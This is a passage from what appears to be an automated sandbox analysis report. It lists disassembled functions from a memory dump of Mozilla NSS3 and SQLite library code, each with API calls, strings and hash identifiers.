Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 30415025ed1b481f66b03e7f44bc0dee7243f80654f606dbaaa617229625096e
Instruction ID: ccdef931bad2241de66de76c0c99e604894c3987734876abc2177c03c0996be7
Opcode Fuzzy Hash: 30415025ed1b481f66b03e7f44bc0dee7243f80654f606dbaaa617229625096e
Instruction Fuzzy Hash: B961C4B5E043459BEB00DF64DC45BAEB7B4AF08318F1A8128ED19AB741EB31F944CB61

Function 6CFDADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CFBCDBB,?,6CFBD079,00000000,00000001), ref: 6CFDAE10
EnterCriticalSection.KERNEL32(?,?,6CFBCDBB,?,6CFBD079,00000000,00000001), ref: 6CFDAE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CFBD079,00000000,00000001), ref: 6CFDAE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CFBCDBB,?,6CFBD079,00000000,00000001), ref: 6CFDAE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CFBCDBB,?,6CFBD079,00000000,00000001), ref: 6CFDAE7F
TlsGetValue.KERNEL32(?,6CFBCDBB,?,6CFBD079,00000000,00000001), ref: 6CFDAEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CFBCDBB,?,6CFBD079,00000000,00000001), ref: 6CFDAEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CFBCDBB,?,6CFBD079,00000000,00000001), ref: 6CFDAEF1
free.MOZGLUE(6CFBCDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CFBCDBB,?), ref: 6CFDAF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CFBCDBB,?,6CFBD079,00000000,00000001), ref: 6CFDAF30

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 8b5fc4856cc17fdfa9a8e61455ca02e2d2f7aec3cd15e77487f5d253ca11736a
Instruction ID: 3d267ad46bb3affb11b8f3d7d197647bfcfc7fdda2fbbd41300cc2e625dea655
Opcode Fuzzy Hash: 8b5fc4856cc17fdfa9a8e61455ca02e2d2f7aec3cd15e77487f5d253ca11736a
Instruction Fuzzy Hash: B55181B1901A02AFDB01DF25D885B5ABBF4FF08318F194664ED1897A11E731F8A4CBD6

Function 6CFB4CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CFBAB7F,?,00000000,?), ref: 6CFB4CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CFBAB7F,?,00000000,?), ref: 6CFB4CC8
TlsGetValue.KERNEL32(?,6CFBAB7F,?,00000000,?), ref: 6CFB4CE0
EnterCriticalSection.KERNEL32(?,?,6CFBAB7F,?,00000000,?), ref: 6CFB4CF4
PL_HashTableLookup.NSS3(?,?,?,6CFBAB7F,?,00000000,?), ref: 6CFB4D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CFB4D10

Part of subcall function 6D03DD70: TlsGetValue.KERNEL32 ref: 6D03DD8C
Part of subcall function 6D03DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D03DDB4

PR_Now.NSS3(?,00000000,?), ref: 6CFB4D26

Part of subcall function 6D059DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6D0A0A27), ref: 6D059DC6
Part of subcall function 6D059DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6D0A0A27), ref: 6D059DD1
Part of subcall function 6D059DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6D059DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CFB4D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CFB4DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CFB4E02

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: c98c21168ac32c66c7c912de6b7e5429882d76964dc95dd5274122f6fb3ecf16
Instruction ID: 636c61f09710b835ec088d20382b2bd9fa277e9c999e83bf661381d956caa9ab
Opcode Fuzzy Hash: c98c21168ac32c66c7c912de6b7e5429882d76964dc95dd5274122f6fb3ecf16
Instruction Fuzzy Hash: FA41B6B6D00205ABEB019F65ED80B6A7BB8BF09258F054170ED0897712FB31E924C7E2

Function 6CF9BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CF9BFFB

Part of subcall function 6CFF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CF987ED,00000800,6CF8EF74,00000000), ref: 6CFF1000
Part of subcall function 6CFF0FF0: PR_NewLock.NSS3(?,00000800,6CF8EF74,00000000), ref: 6CFF1016
Part of subcall function 6CFF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CF987ED,00000008,?,00000800,6CF8EF74,00000000), ref: 6CFF102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6CF9C015

Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF10F3
Part of subcall function 6CFF10C0: EnterCriticalSection.KERNEL32(?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF110C
Part of subcall function 6CFF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1141
Part of subcall function 6CFF10C0: PR_Unlock.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1182
Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6CF9C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6CF9C04D

Part of subcall function 6CFE69E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CFE6A47
Part of subcall function 6CFE69E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6CFE6A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6CF9C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6CF9C07B

Part of subcall function 6CF98980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6CF97310), ref: 6CF989B8
Part of subcall function 6CF98980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6CF97310), ref: 6CF989E6
Part of subcall function 6CF98980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6CF98A00
Part of subcall function 6CF98980: CERT_CopyRDN.NSS3(00000004,00000000,6CF97310,?,?,00000004,?), ref: 6CF98A1B
Part of subcall function 6CF98980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6CF98A74

Part of subcall function 6CF91D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6CF9C097,00000000,000000B0,?), ref: 6CF91D2C
Part of subcall function 6CF91D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6CF9C09B,00000000,00000000,00000000,?,6CF9C097,00000000,000000B0,?), ref: 6CF91D3F
Part of subcall function 6CF91D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6CF9C087,00000000,000000B0,?), ref: 6CF91D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6CF9C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6CF9C0C9

Part of subcall function 6CFA2DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6CF9C0D2,6CF9C0CE,00000000,-000000D4,?), ref: 6CFA2DF5
Part of subcall function 6CFA2DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6CF9C0CE,00000000,-000000D4,?), ref: 6CFA2E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6CF9C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CF9C0E3

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 530ce8bc04b600ef53a182098fd33f7a82549183b03c6afcd45c9f14ec938dd8
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: 542141F6A402056BFF016A61AC81FFB36AC9B4175CF084134FD08DA657FB26D91982B2

Function 6CF92E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CF92CDA,?,00000000), ref: 6CF92E1E

Part of subcall function 6CFEFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CF99003,?), ref: 6CFEFD91
Part of subcall function 6CFEFD80: PORT_Alloc_Util.NSS3(A4686CFF,?), ref: 6CFEFDA2
Part of subcall function 6CFEFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CFF,?,?), ref: 6CFEFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CF92E33

Part of subcall function 6CFEFD80: free.MOZGLUE(00000000,?,?), ref: 6CFEFDD1

TlsGetValue.KERNEL32 ref: 6CF92E4E
EnterCriticalSection.KERNEL32(?), ref: 6CF92E5E
PL_HashTableLookup.NSS3(?), ref: 6CF92E71
PL_HashTableRemove.NSS3(?), ref: 6CF92E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CF92E96
PR_Unlock.NSS3 ref: 6CF92EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CF92EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CF92EC5

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: e005af14fe6c0b1841d0104e82d1dabb261b6b51ba4c5d2cc333c9244b1186a5
Instruction ID: 915ced260890ab766d5a367b8e8cdf069460a7ef6cc52f75452dcb22978d9792
Opcode Fuzzy Hash: e005af14fe6c0b1841d0104e82d1dabb261b6b51ba4c5d2cc333c9244b1186a5
Instruction Fuzzy Hash: EB21B072800141ABEF216B65AC45BDE3A79EB92259F190030ED1886612FB33D568D6A1

Function 6CF7FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CF7FD18
sqlite3_initialize.NSS3 ref: 6CF7FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CF7FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6CF7FD99
sqlite3_free.NSS3(00000000), ref: 6CF7FE3C
sqlite3_free.NSS3(?), ref: 6CF7FEE3
sqlite3_free.NSS3(?), ref: 6CF7FEEE

Strings

simple, xrefs: 6CF7FC79

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: a375e5f3155965012c67639dc412d456e8974248b634de5c6e07d31995430ad6
Instruction ID: cfdae36d904d79638608ba13a560f17e80d7b1bcbfb732da99a27f4f2c499f43
Opcode Fuzzy Hash: a375e5f3155965012c67639dc412d456e8974248b634de5c6e07d31995430ad6
Instruction Fuzzy Hash: EA9190B1E01205CFDB54CF69D980BAAB7B1FF85318F24C16AD8199B752E731E901CBA0

Function 6CF85CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF85EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF85EED

Strings

misuse, xrefs: 6CF85EDB
%s at line %d of [%.10s], xrefs: 6CF85EE0
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF85ED1
API call with %s database connection pointer, xrefs: 6CF85EC3
unable to close due to unfinalized statements or unfinished backups, xrefs: 6CF85E64
invalid, xrefs: 6CF85EBE

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 6555a07167d3da8e8a8e4f3e060cc441b6a69de9267f06a0e85b021fb1003812
Instruction ID: a6aac7a090b08f1af9e3b68179b13389cc206cbf53e05182a6b945fe57997656
Opcode Fuzzy Hash: 6555a07167d3da8e8a8e4f3e060cc441b6a69de9267f06a0e85b021fb1003812
Instruction Fuzzy Hash: 53819072B0B6119BFB19CF25D848BAA77B1BF41708F284259DC1A5BB51D730E842CBE1

Function 6CF6DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF6DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF6DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF6DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CF6DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF6DF78

Strings

%s at line %d of [%.10s], xrefs: 6CF6DE61, 6CF6DE90
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF6DE52, 6CF6DE81
database corruption, xrefs: 6CF6DE5C, 6CF6DE8B

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: 4cce7cbb6b5497324284088a4f2c22e310c5fddbda98774fd4cc6641ac8c2b8f
Instruction ID: 6d22a5f026eec0f290ce5ac7ece77d99ca6ea6e8aa59a4914c7ae1320ebc7298
Opcode Fuzzy Hash: 4cce7cbb6b5497324284088a4f2c22e310c5fddbda98774fd4cc6641ac8c2b8f
Instruction Fuzzy Hash: 7781B4717083019FD714DF26C880B6B77F1AF85308F25882DE99A8BE92E731E845CB52

Function 6CF1CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CF1B999), ref: 6CF1CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CF1B999), ref: 6CF1D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CF1B999), ref: 6CF1D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CF1B999), ref: 6D06972B

Strings

%s at line %d of [%.10s], xrefs: 6CF1CFEC, 6CF1D018, 6CF1D029, 6CF1D03F, 6D06978B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF1CFDD, 6CF1D00E, 6CF1D022, 6CF1D033, 6D069780
database corruption, xrefs: 6CF1CFE7, 6CF1D013, 6CF1D028, 6CF1D039, 6CF1D03E, 6D069786

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 2c1f30acc0ae03e570f111e7a057f4904e3dea500baaf7f2dc68260148984efc
Instruction ID: 75a1be1be123101001d8ca2e3ab00a48a7d065ee0be367bed455777f06bd2232
Opcode Fuzzy Hash: 2c1f30acc0ae03e570f111e7a057f4904e3dea500baaf7f2dc68260148984efc
Instruction Fuzzy Hash: D2610A71A042509BE310CF29C8407ABB7F5EF95318F68816DE4499FB82D376D946C7A2

Function 6D01FFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6D025B40: PR_GetIdentitiesLayer.NSS3 ref: 6D025B56

PK11_FreeSymKey.NSS3(00000000), ref: 6D020113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6D020130
PORT_Alloc_Util.NSS3(00000040), ref: 6D02015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6D0201AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6D020202
free.MOZGLUE(?), ref: 6D020224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6D020253

Strings

exporter, xrefs: 6D0200F7

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: f602d1203b083abaad9193c62bdb552c82f2a60c190d66fa2a83f09085b9b558
Instruction ID: e10389dc75bc535426fc6f0c24930199162d461b66db15385c38e19fd705d50c
Opcode Fuzzy Hash: f602d1203b083abaad9193c62bdb552c82f2a60c190d66fa2a83f09085b9b558
Instruction Fuzzy Hash: 41610FB190930A9BFB118FA6CC11BFE77F6BF48308F054128EE195B265EB31A954CB50

Function 6D01EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6D03A4A1,?,00000000,?,00000001), ref: 6D01EF6D

Part of subcall function 6D03C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D03C2BF

htonl.WSOCK32(00000000,?,6D03A4A1,?,00000000,?,00000001), ref: 6D01EFE4
htonl.WSOCK32(?,00000000,?,6D03A4A1,?,00000000,?,00000001), ref: 6D01EFF1
memcpy.VCRUNTIME140(?,?,6D03A4A1,?,00000000,?,6D03A4A1,?,00000000,?,00000001), ref: 6D01F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6D03A4A1,?,00000000,?,00000001), ref: 6D01F027

Strings

dtls13, xrefs: 6D01EF33

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 38052589b0a6734f71c3be87566d28f8c98da5b17454208f99e12d3e96bfe79f
Instruction ID: b877e84ced92832a189ed015d75f954cb15a0cf0d5957781dc2b924353b88894
Opcode Fuzzy Hash: 38052589b0a6734f71c3be87566d28f8c98da5b17454208f99e12d3e96bfe79f
Instruction Fuzzy Hash: E931B371A082159FE710CFA9DC40B5EB7E4BF49758F1A8029ED18DB251E731E911CBE1

Function 6CF9AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CF9AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6D0B9500,6CF93F91), ref: 6CF9AFD2

